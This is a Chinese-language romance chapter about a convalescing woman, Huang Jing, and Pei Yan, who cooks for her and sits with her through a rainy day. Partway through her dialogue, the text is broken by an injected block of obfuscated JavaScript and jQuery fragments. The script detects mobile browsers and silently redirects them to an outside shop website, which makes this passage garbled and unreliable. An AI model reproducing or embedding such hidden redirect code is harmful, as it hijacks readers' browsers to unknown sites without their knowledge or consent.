闹钟响过又停了。黄晶睁开眼时窗外灰蒙蒙的，云层压得很低，像一块没拧干的抹布。她翻了个身，胸口那道已经愈合得差不多的伤口隐隐发酸。
今天大概是5月14日，离出院才过了两天。她躺了一会儿，听到厨房里有轻微的声响——是裴砚在淘米，水声压得很低，怕吵醒她。
黄晶走进厨房时他正把昨晚剩的米饭从冰箱里拿出来。“我想吃蛋炒饭。”
“好。要不要加火腿肠？”
黄晶摇了摇头，然后坐在沙发上。蛋炒饭做好后她吃了大半碗，放下筷子，把碗推到茶几内侧，然后缩回沙发上，一只耳朵塞着耳机。
播放列表从《大城小爱》自动切到《需要人陪》，她闭上眼睛。雨声从半开的窗户缝里渗进来，混着歌里的钢琴前奏，整个房间暗得像傍晚。
黄晶睡着了。
裴砚把碗筷收去洗了，把茶几上的水杯续满，把窗帘拉到只剩一条缝。沙发上的靠垫被她压在脸下面，口水洇了一小块布面，他轻轻抽出来换了干净的。
他坐在沙发另一端，打开笔记本，屏幕亮度调到最低，键盘敲击声几乎消失。她在梦里皱眉头，他就停下来等她松开再继续打字。
十二点多黄晶醒了，是被土豆炖鸡的香气叫醒的。
她睁开眼，厨房里砂锅正咕嘟咕嘟地冒着热气，裴砚系着那件打瞌睡猫围裙站在灶台前，正往锅里撒白胡椒粉。米饭已经煮好了，碗筷也摆好了，她只需要从沙发上坐起来，走到茶几前坐下。
她今天不想说话，不想动，不想做任何决定。他就替她把所有决定都做了——中午吃什么、米饭煮多少、汤放不放香菜。
黄晶从沙发上坐起来，走到茶几前盘腿坐下，左手撑着下巴，看着他把砂锅端上桌。盖子掀开，热气涌上来，土豆炖鸡，汤色浓郁，鸡腿肉炖得软烂，土豆块筷子一夹就碎。
裴砚给她盛了一大碗米饭，又拿了个小碗盛汤放在旁边晾凉。黄晶拿起筷子夹了一块土豆放进嘴里，嚼了嚼咽下去，说了今天中午第一句话：“土豆炖的好化。”
“炖了四十分钟。”
黄晶又吃了一块鸡肉，第二句话是：“好吃。”裴砚把汤碗往她手边推了推。
“你也吃。”
裴砚端起自己那碗米饭，开始吃今天的第一口饭。
窗外还在下雨，雨声淅淅沥沥地打在窗台上。黄晶吃得很慢，但一直在吃，把米饭拌进汤里，让每一粒米都裹上汤汁，吃完一碗又自己添了半碗。
裴砚看着她把土豆夹成小块拌进饭里，看着她低头喝汤时睫毛垂下来，看着她吃完后靠在沙发扶手上，轻轻说了句“饱了”。
黄晶抬起眼看向他，说了第五句话：“你看我干什么?吃你的饭。”
裴砚低头继续吃饭。米饭已经有些凉了，但她说好吃，这顿饭就值得。
裴砚把碗筷收进厨房，戴上橡胶手套，挤洗洁精，海绵擦过碗沿，清水冲净，放进沥水架。他用擦手巾擦干手，走出厨房，在沙发上坐下。
整个过程，黄晶的目光一直跟着他。从厨房到茶几，从洗碗到擦手，从他在沙发另一端坐下到他微微侧头对上她的视线。
她看他，直接，不闪不避，像在看一件她还没完全搞懂的器具。但她的眼睛很安静，没有那些平时在他身上反复运转的逻辑链。
裴砚没有问她在看什么。他知道她今天不想说话，知道她只是需要眼睛有一个落点，而刚好落在了他身上。
他坐在沙发另一端，把靠垫往她那边挪了挪——如果她想换姿势，那个位置刚好能靠着。然后他拿起茶几上那本看到一半的书，翻开书签标记的那一页，安静地陪她待着。
黄晶就那样看着他，眼皮越来越沉。裴砚翻书页的动作越来越慢，怕纸张摩擦的声音吵到她。她靠在沙发扶手上，呼吸渐渐平稳，头微微偏向一侧，手里还攥着刚才垫在背后的靠垫一角。
黄晶睡着了，像被按下了关机键一样，毫无征兆地滑进了睡眠。
窗外还在下雨，淅淅沥沥的，偶尔有汽车从湿漉漉的路面上驶过，轮胎碾起一片细碎的水声。
裴砚轻轻把书合上放在茶几上，从她脚边拿起那床小熊毯子展开，盖在她身上。毯子边缘蹭过她的下巴，黄晶微微动了动，没有醒。
他把茶几上的水杯换成温水，放在她醒来伸手就能够到的位置。然后坐回沙发另一端，安静地坐在那里，陪她听这场不知什么时候才会停的雨。
不知道过了多久，黄晶翻了个身，毯子从肩膀滑下来。
裴砚伸手轻轻拉上去，手指不小心碰到她的脸颊——她眉头微微皱了一下，又松开了。他收回手，继续坐着。窗外的雨声小了一些。
黄晶醒来时先是愣了一会儿，眼睛睁着，脑子还在梦里没追上来。沙发上的毯子从肩膀滑到腰间，靠垫不知道什么时候被她踹到了地上。
窗外还在下雨，淅淅沥沥的，天色比中午更暗了些，分不清是下午还是傍晚。
她盯着天花板看了几秒，然后慢慢调整姿势，身体往沙发另一端蹭过去。动作很慢，像是还没完全开机的电脑，每动一下都要缓冲好几秒。
黄晶蹭到裴砚旁边，把头靠在他肩膀上，半个身体的重量压过去，头发蹭过他的锁骨，呼吸扫过他的领口。然后她不动了，就这么靠着，眼睛半阖，继续缓冲。
裴砚在她蹭过来时就把书放下了。他微微调整了一下肩膀的角度，让她靠得更舒服一点，然后安静地等她开口。
过了好一会儿，黄晶的视线终于聚焦在他搁在茶几上的那本书上。书页泛黄，边缘有点卷，是他从公寓带过来的那本哲学随笔集。
黄晶盯着封面看了几秒，然后轻声开口，刚睡醒的声音还带着一点沙哑：“看的什么书啊？”
裴砚拿起茶几上的书，把封面翻过来给她看——一本讲存在主义的哲学随笔，标题很长，作者名字是外文。“哲学随笔。讲存在与虚无的。”
黄晶靠在他肩膀上，盯着那个标题看了几秒，然后用那种刚睡醒的、还没完全恢复分析能力的语气问：“好看吗？”
裴砚低头看了看自己看了好几天还在前言徘徊的那一页，如实回答：“不太好看。读不进去。”
黄晶靠在他肩膀上，轻轻哦了一声，也不知道是在认同他的阅读品味，还是在回应那个关于存在与虚无的话题。
然后她闭上眼睛，似乎在考虑要不要继续睡。窗外的雨还在下，而他的肩膀，她大概已经默认是沙发的延伸了。
黄晶闭着眼，鼻尖在他肩窝附近轻轻蹭了一下，像一只刚睡醒的猫，不确定自己在哪里，先确认气味。她的睫毛扫过他的衬衫领口，呼吸很轻，带着刚睡醒的温热。
然后她开口，声音还是那种半梦半醒的沙哑：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680697|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你用的什么沐浴露？还挺好闻的。”
裴砚僵住了。
她的鼻尖离他的锁骨只隔了一层衬衫布料，她的头发蹭在他的下巴旁边，她整个人的重量还斜斜地压在他的右肩上。他需要调动所有的理智来让自己的声音听起来和平常一样平稳。“不知道。超市买的，随便拿的。”
“标签已经撕了。下次去超市，你帮我挑。”
话音刚落，黄晶疑惑的嗯了一声，闭着眼，手从他肩上滑下来，在他胳膊上拧了一下。力道不大，但位置掐得很准，刚好是他之前被台灯砸过的那只手臂。
“你怎么命令我？”语气里没有真的生气，带着刚睡醒的鼻音，黏黏糊糊的，像是猫伸出爪子轻轻拍了一下人的手背，指甲都没露出来。
裴砚低头看了一眼自己被她拧过的那一小块皮肤，又看了看她依然靠在自己肩膀上、完全没有要移开的意思的脑袋。“是申请。不是命令。”
“请你帮我挑沐浴露。”
黄晶闭着眼，似乎在审核这份申请的格式是否符合规定。过了几秒，她哼了一声，没说批准，也没说不批准。但她的手指松开他的胳膊，重新落回他衬衫袖口上，继续无意识地捻那一小截布料。
裴砚靠在沙发背上，肩膀承受着她的重量。窗外雨停了，有一束淡金色的光从窗帘缝隙里漏进来，落在茶几上的空杯沿上。
他想，这份申请大概是被受理了，目前正在走流程，审批结果可能会在下次逛超市时公布。
黄晶闻着他身上那股淡淡的沐浴露味道，混着他衬衫上残留的洗衣液清香，闻起来很干净。她闭着眼，呼吸渐渐又变得均匀。
裴砚又被她当成了人形靠枕，肩膀承受着她半个身体的重量，不敢动，也不想动。
再次醒来时，黄晶摸到茶几上的手机，眯着眼看了一眼时间——快六点了。屋外的小雨似乎停了，只有屋檐上偶尔滴落的积水打在空调外机上，发出清脆的滴答声。她依然靠在他肩膀上，没有要移开的意思。
“晚上吃什么？”说着看向他的侧脸，“我不太想动。”
裴砚低头看她。她靠在他肩上，仰着脸，刚睡醒的眼睛还有点肿，头发蹭得乱糟糟的。她说不太想动，意思是不太想出门，不太想做饭，也不太想做任何需要消耗能量的决定。
“面。冰箱里有番茄和鸡蛋。番茄鸡蛋面，二十分钟。”
“那加两根青菜。”
“好。”
“面煮软一点。”
裴砚停了一下，“好。”
黄晶终于从他肩膀上移开，坐直身体，把毯子往旁边挪了挪，给他让出去厨房的路。她的动作带着一点刚睡醒的迟钝，但给他让路时的角度刚好够他侧身通过——这是她沙发上的固定操作，每次他起身做饭，她都会挪一挪。
裴砚站起来往厨房走，系上那件打瞌睡猫围裙，从冰箱里拿出番茄、鸡蛋和青菜。
黄晶靠在沙发上，把毯子拉到胸口，拿起遥控器把电视打开，随便换到一个综艺频道，声音调低。她没有看他，但电视机的音量刚好够他听到，又不会吵到她等饭的安静。
厨房里传来油锅的滋啦声，番茄在热油里慢慢出汁，鸡蛋被打散倒进锅里，香气飘过来时她吸了吸鼻子，觉得有点饿了。
她不知道自己这种低落状态会持续多久，但至少今晚，有人愿意系着围裙给她做一碗面。